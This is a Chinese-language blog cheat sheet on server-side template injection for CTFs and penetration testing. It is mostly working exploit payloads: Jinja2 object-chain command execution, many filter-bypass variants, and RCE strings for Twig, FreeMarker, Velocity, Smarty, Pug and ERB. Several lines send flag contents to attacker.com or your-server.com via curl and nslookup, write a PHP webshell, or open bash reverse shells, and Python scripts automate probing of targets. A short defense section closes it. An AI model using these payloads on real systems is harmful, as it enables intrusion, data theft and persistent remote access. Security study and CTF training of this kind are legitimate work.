2246 字
11 分钟
SSTI模板注入

从原理到实战,覆盖所有CTF场景的SSTI攻击技术


目录#


一、模板注入概述#

1.1 什么是SSTI#

模板注入(Server-Side Template Injection,SSTI)发生在用户输入未经过严格过滤直接进入模板渲染时。根据模板语言不同,可能导致:

  • 信息泄露:变量、配置、环境变量

  • 远程代码执行(RCE):调用系统命令、执行任意函数

1.2 攻击本质#

模板解析用户输入 → 注入表达式 → 爬对象继承链 → 找可用类 → 执行命令

1.3 常见模板引擎#

语言模板引擎识别特征
PythonJinja2/Flask{{7*7}} → 49
PythonMako${7*7} → 49
JavaFreeMarker${7*7} → 49
JavaVelocity#set($x=7*7)$x → 49
PHPSmarty{$smarty.version}
PHPTwig{{_self}}
RubyERB<%= 7*7 %> → 49
Node.jsJade/Pug#{7*7} → 49

二、Jinja2实战测试流程#

2.1 确认SSTI存在#

{{7*7}} 返回 49 → SSTI存在
{{7*'7'}} 返回 7777 → Jinja2确认(字符串乘法)
${7*7} 返回 49 → FreeMarker/Velocity
<%= 7*7 %> 返回 49 → ERB (Ruby)

2.2 确认Jinja2/Flask#

{{config}} 返回配置对象 → Flask/Jinja2
{{self}} 返回 <TemplateReference>
{{request}} 返回 request 对象
{{lipsum}} 返回函数对象

2.3 理解对象继承链#

核心思路:通过Python对象继承链爬到object,再找可用子类

任意对象 → __class__(找到对象的类)
→ __mro__(继承链上的所有类)/ __base__(直接父类)
→ object(拿到最终父类)
→ __subclasses__()(拿到父类下的所有子类)
→ 找到可利用的、可执行命令的子类

三、核心Payload体系#

3.1 基础链(从字符串爬到object)#

''.__class__ # <class 'str'>
''.__class__.__mro__ # (str, object)
''.__class__.__mro__[-1] # <class 'object'>
''.__class__.__mro__[-1].__subclasses__() # object所有子类列表

3.2 寻找目标类的方法#

本地先枚举子类索引:

subclasses = ''.__class__.__mro__[-1].__subclasses__()
for i, cls in enumerate(subclasses):
print(i, cls)

3.3 常见利用类#

目标类名用途
文件读取file (py2)读取任意文件
命令执行subprocess.Popen执行系统命令
命令执行os._wrap_close通过__init__.__globals__拿到os
代码执行warnings.catch_warnings拿到builtins

3.4 Payload模板#

Python 2读文件#

{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}}

注意:索引40是file类(Python 2),不同环境索引不同。

Python 3命令执行(通过os._wrap_close)#

{{''.__class__.__mro__[-1].__subclasses__()[索引].__init__.__globals__['os'].popen('id').read()}}

解释:

  • __init__:类的初始化方法,是一个函数对象

  • __globals__:函数对象的全局命名空间,获取该函数定义时的全局变量

通过builtins执行#

{{''.__class__.__mro__[-1].__subclasses__()[索引]()._module.__builtins__['__import__']('os').popen('id').read()}}

解释:

  • _module:某些Python内部类的属性,指向所属模块对象

  • __builtins__:内置命名空间

lipsum全局变量链(CTF最常用)#

{{lipsum.__globals__['os'].popen('id').read()}}
{{lipsum.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}

解释:

  • lipsum:Jinja2内置全局函数,可以直接访问其__globals__

其他常用全局函数#

{{url_for.__globals__['os'].popen('id').read()}}
{{get_flashed_messages.__globals__['os'].popen('id').read()}}
{{cycler.__init__.__globals__['os'].popen('id').read()}}
{{joiner.__init__.__globals__['os'].popen('id').read()}}
{{namespace.__init__.__globals__['os'].popen('id').read()}}

四、WAF绕过技巧#

4.1 下划线被过滤#

方法1:用request.args传参#

{{''|attr(request.args.c)|attr(request.args.m)[-1]|attr(request.args.s)()}}
&c=__class__&m=__mro__&s=__subclasses__

方法2:attr过滤器#

{{''|attr('__class__')}}
{{''|attr(request.args.c)}}&c=__class__

解释:attr不需要点号或下划线就能获取对象属性

4.2 点号被过滤#

# 用[]代替
{{''['__class__']}}
{{''['__class__']['__mro__'][-1]}}

4.3 关键字被过滤(class/mro/subclasses)#

方法1:字符串拼接#

{{''['__cla'~'ss__']}} # Jinja2用~拼接
{{''['__cla'+'ss__']}} # 某些环境+也可以

方法2:使用request.args传入#

{{''[request.args.a][request.args.b][-1][request.args.c]()}}
&a=__class__&b=__mro__&c=__subclasses__

4.4 数字被过滤(无法直接写索引)#

# 用pop()或next()
{{''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(40)}}

4.5 引号被过滤#

# 用request.args传参
{{lipsum[request.args.g][request.args.o][request.args.p](request.args.c).read()}}
&g=__globals__&o=os&p=popen&c=id

4.6 过滤{{ }}#

# 用{% if %}执行命令(不显示输出)
{% if lipsum.__globals__['os'].popen('id').read() %}success{% endif %}
# 外带数据
{% if lipsum.__globals__['os'].popen('curl http://attacker.com/$(cat /flag | base64)').read() %}1{% endif %}

4.7 完整绕过链模板#

极限制场景:过滤__、os、{{ }}、import

{% if lipsum|attr(request.args.g)|attr(request.args.gi)(request.args.b)|attr(request.args.gi)(request.args.i)(request.args.o|b64decode)|attr(request.args.p)(request.args.cmd)|attr(request.args.r)() %}1{% endif %}
&g=__globals__&gi=__getitem__&b=__builtins__&i=__import__&o=b3M=&p=popen&cmd=cat /flag&r=read

五、无回显利用技巧#

5.1 时间盲注(类似SQL注入)#

{% if lipsum.__globals__['os'].popen('sleep 5').read() %}1{% endif %}

判断:如果响应延迟5秒,说明命令执行成功。

5.2 HTTP外带#

{% if lipsum.__globals__['os'].popen('curl http://attacker.com/log?data=$(cat /flag | base64)').read() %}1{% endif %}

5.3 DNS外带#

{% if lipsum.__globals__['os'].popen('nslookup $(cat /flag).attacker.com').read() %}1{% endif %}

5.4 写WebShell#

{% if lipsum.__globals__['os'].popen('echo "<?php @eval($_POST[cmd]); ?>" > /var/www/html/shell.php').read() %}1{% endif %}

5.5 反弹Shell#

{% if lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').read() %}1{% endif %}

六、高级绕过技术#

6.1 使用Jinja2过滤器链#

join过滤器绕过关键字#

{{''|join('__cla')|join('ss__')}} # 等价于'__class__'

format过滤器#

{{'%c'|format(95)}} # 输出'_'
{{'%c%c'|format(95,95)}} # 输出'__'

reverse过滤器#

{{'ssalc__'|reverse}} # '__class__'

6.2 使用Jinja2控制结构#

for循环枚举#

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}
{% endif %}
{% endfor %}

set变量构造#

{% set a = '__cla' %}
{% set b = 'ss__' %}
{% set c = a~b %}
{{ ''[c] }}

6.3 Unicode绕过#

{{''['\u005f\u005fclass\u005f\u005f']}} # {{''['__class__']}}

6.4 八进制绕过#

{{''['\137\137class\137\137']}} # {{''['__class__']}}

6.5 使用request对象的其他属性#

request.cookies
# request.values (GET + POST)
{{''[request.values.c]}}&c=__class__
{{''[request.cookies.c]}} # Cookie: c=__class__
# request.headers
{{''[request.headers.get('X-Class')]}} # Header: X-Class: __class__
# request.json (JSON body)
{{''[request.json.c]}} # POST body: {"c":"__class__"}

6.6 使用config对象#

# 如果config可访问
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config['OS']}} # 环境变量

6.7 使用self对象#

{{self.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}

七、其他模板引擎#

7.1 Twig (Symfony)#

识别:

{{7*7}} → 49
{{_self}} → 显示Twig环境信息

RCE Payload:

{{['id']|filter('system')}}
{{['id','']|sort('system')}}
{{'id'|exec}}

7.2 FreeMarker#

识别:

${7*7} → 49
${.now} → 当前时间

RCE Payload:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

7.3 Velocity#

识别:

#set($x=7*7)$x → 49

RCE Payload:

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()##
#set($is=$ex.getInputStream())##
#foreach($i in [1..$is.available()])$chr.toString($is.read())#end

7.4 Smarty (PHP)#

识别:

{$smarty.version} → 显示版本

RCE Payload:

{php}system('id');{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

7.5 Jade/Pug (Node.js)#

识别:

#{7*7} → 49

RCE Payload:

#{root.process.mainModule.require('child_process').execSync('id')}

7.6 ERB (Ruby)#

识别:

<%= 7*7 %> → 49

RCE Payload:

<%= system('id') %>
<%= `id` %>
<%= File.read('/etc/passwd') %>

八、CTF实战案例#

案例1:Tornado模板注入#

场景:URL参数msg有回显,{{7*7}}被过滤返回orz

解法:Tornado特有语法

{{handler.settings}}

拿到cookieSecret,计算md5(cookie),访问/fllllllag拿到flag。


案例2:Flask过滤小括号#

场景:源码暴露,过滤()、config、self

解法:利用Flask全局函数

{{url_for.__globals__["current_app"].config}}

案例3:过滤{{ }}#

场景:WAF拦截{{和}}

解法:用{% if %} + 外带

{% if lipsum.__globals__['os'].popen('curl http://your-server.com/$(cat /flag | base64)').read() %}1{% endif %}

案例4:极限制过滤#

场景:过滤__、os、import、{{ }}、config

解法:

{% set x = lipsum|attr(request.args.g)|attr(request.args.gi)(request.args.o|b64decode) %}
{% if x|attr(request.args.p)(request.args.c)|attr(request.args.r)() %}1{% endif %}
&g=__globals__&gi=__getitem__&o=b3M=&p=popen&c=cat /flag&r=read

九、自动化脚本库#

9.1 枚举可用子类索引#

#!/usr/bin/env python3
import requests
url = "http://target/?name="
for i in range(500):
payload = f"{{{{''.__class__.__mro__[-1].__subclasses__()[{i}]}}}}"
r = requests.get(url + payload)
if 'Popen' in r.text or '_wrap_close' in r.text or 'catch_warnings' in r.text:
print(f"[+] Found at {i}: {r.text[:100]}")

9.2 枚举全局函数#

#!/usr/bin/env python3
import requests
url = "http://target/?name="
funcs = ['lipsum', 'url_for', 'get_flashed_messages', 'cycler', 'joiner', 'namespace']
for func in funcs:
payload = f"{{{{{func}.__globals__.keys()}}}}"
r = requests.get(url + payload)
print(f"{func}: {r.text[:200]}")

9.3 自动绕过WAF#

#!/usr/bin/env python3
import requests
import base64
url = "http://target/"
# 原始payload
cmd = "cat /flag"
# 编码绕过
encoded_os = base64.b64encode(b"os").decode()
# 构造payload
payload = f"{{{{lipsum.__globals__['{encoded_os}'|b64decode].popen('{cmd}').read()}}}}"
# 发送请求
r = requests.get(url, params={'name': payload})
print(r.text)

十、快速参考手册#

10.1 3秒识别模板引擎#

{{7*7}} → 49 (字符串) → Jinja2/Twig
{{7*'7'}} → 7777777 → Jinja2 (确认)
{{config}} → 配置对象 → Flask/Jinja2
${7*7} → 49 → FreeMarker/Velocity
<%= 7*7 %> → 49 → ERB (Ruby)
#{7*7} → 49 → Ruby

10.2 最强Payload(5个)#

1. lipsum链(90%场景可用)

{{lipsum.__globals__['os'].popen('id').read()}}

2. 子类链(万能备用)

{{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['os'].popen('id').read()}}

3. url_for链(lipsum不可用时)

{{url_for.__globals__['os'].popen('id').read()}}

4. builtins链(需要import)

{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

5. config链(配置可访问时)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

10.3 WAF绕过速查表#

过滤__

{{''|attr(request.args.c)}}
&c=__class__

过滤.

{{''['__class__']}}

过滤关键字

{{''['__cla'~'ss__']}}

过滤{{ }}

{% if lipsum.__globals__['os'].popen('id').read() %}1{% endif %}

过滤os

{{lipsum.__globals__['\x6f\x73'].popen('id').read()}}
{{lipsum.__globals__['b3M='|b64decode].popen('id').read()}}

过滤数字

{{''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(40)}}

过滤引号

{{lipsum[request.args.g][request.args.o][request.args.p](request.args.c).read()}}
&g=__globals__&o=os&p=popen&c=id

10.4 外带方式#

HTTP外带

{% if lipsum.__globals__['os'].popen('curl http://your-server.com/$(cat /flag | base64)').read() %}1{% endif %}

DNS外带

{% if lipsum.__globals__['os'].popen('nslookup $(cat /flag).your-dns.com').read() %}1{% endif %}

写文件

{% if lipsum.__globals__['os'].popen('cat /flag > /var/www/html/flag.txt').read() %}1{% endif %}

反弹Shell

{% if lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"').read() %}1{% endif %}

10.5 编码转换速查#

原字符串base64hexchr
osb3M=\x6f\x73chr(111)+chr(115)
systemc3lzdGVt\x73\x79\x73\x74\x65\x6dchr(115)+chr(121)+…
importaW1wb3J0\x69\x6d\x70\x6f\x72\x74chr(105)+chr(109)+…
popencG9wZW4=\x70\x6f\x70\x65\x6echr(112)+chr(111)+…

10.6 CTF完整Checklist#

  • [ ] 确认注入点({{7*7}})

  • [ ] 识别模板引擎({{config}})

  • [ ] 信息收集(globals/subclasses)

  • [ ] 测试过滤规则(下划线/点号/关键字)

  • [ ] 选择绕过方式(attr/request.args)

  • [ ] 构造payload

  • [ ] 启动外带服务器(nc/python http.server)

  • [ ] 执行payload

  • [ ] 获取flag

  • [ ] 提交


十一、常见错误排查#

  1. Payload无回显 → 用外带方式(curl/nslookup)或检查命令是否执行(写文件)

  2. 索引不对 → 先枚举子类索引,不同环境索引不同

  3. globals没有os → 换其他全局函数(url_for/get_flashed_messages)或用builtins import

  4. 过滤太严格 → 组合多种绕过(attr + request.args + 编码)

  5. lipsum不可用 → 用url_for / get_flashed_messages / cycler


十二、调试技巧#

12.1 本地测试环境#

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
user_input = request.args.get('name', '')
# 模拟过滤规则
blacklist = ['{{', '}}', '__', 'config', 'os', 'import']
for word in blacklist:
if word in user_input:
return 'Blocked!'
template = Template(user_input)
return template.render()
if __name__ == '__main__':
app.run(debug=True, port=5000)

12.2 分步调试#

# Step 1
{{lipsum}}
# Step 2
{{lipsum.__globals__}}
# Step 3
{{lipsum.__globals__.keys()}}
# Step 4
{{lipsum.__globals__['os']}}
# Step 5
{{lipsum.__globals__['os'].popen('id')}}
# Step 6
{{lipsum.__globals__['os'].popen('id').read()}}

十三、防御建议#

  1. 永远不要将用户输入直接传入模板引擎

  2. 使用沙箱模式

from jinja2 import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_input) # 受限
  1. 白名单过滤
from jinja2 import Environment
env = Environment()
env.globals.pop('__builtins__', None) # 删除builtins
env.globals.pop('range', None) # 删除range
  1. 使用参数化模板
# 正确方式
template = Template('Hello {{ name }}!')
result = template.render(name=user_input)
# 错误方式
template = Template('Hello ' + user_input)
  1. 输入验证
import re
user_input = request.args.get('name', '')
if re.search(r'[{}]', user_input):
return 'Invalid input'

十四、总结#

核心要点#

  1. SSTI本质:模板解析用户输入 → 爬对象继承链 → 找可用类 → 执行命令

  2. 常用入口:lipsum、url_for、get_flashed_messages、subclasses

  3. 绕过优先级:下划线过滤 → request.args / attr;点号过滤 → [];关键字过滤 → 字符串拼接 / 编码;{{ }}过滤 → {% if %}

  4. 外带方式:HTTP、DNS、写文件、反弹Shell

最小化思维模型#

找输入点 → 触发异常 → 判引擎 → 选入口 → 探结构 → 执行命令 → 外带/回显

文档版本:v1.0 最后更新:2026-03-22 适用场景:CTF竞赛、渗透测试、安全研究

SSTI模板注入
https://lab404.cn/posts/ssti/
作者
见山
发布于
2026-03-22
许可协议
CC BY-NC-SA 4.0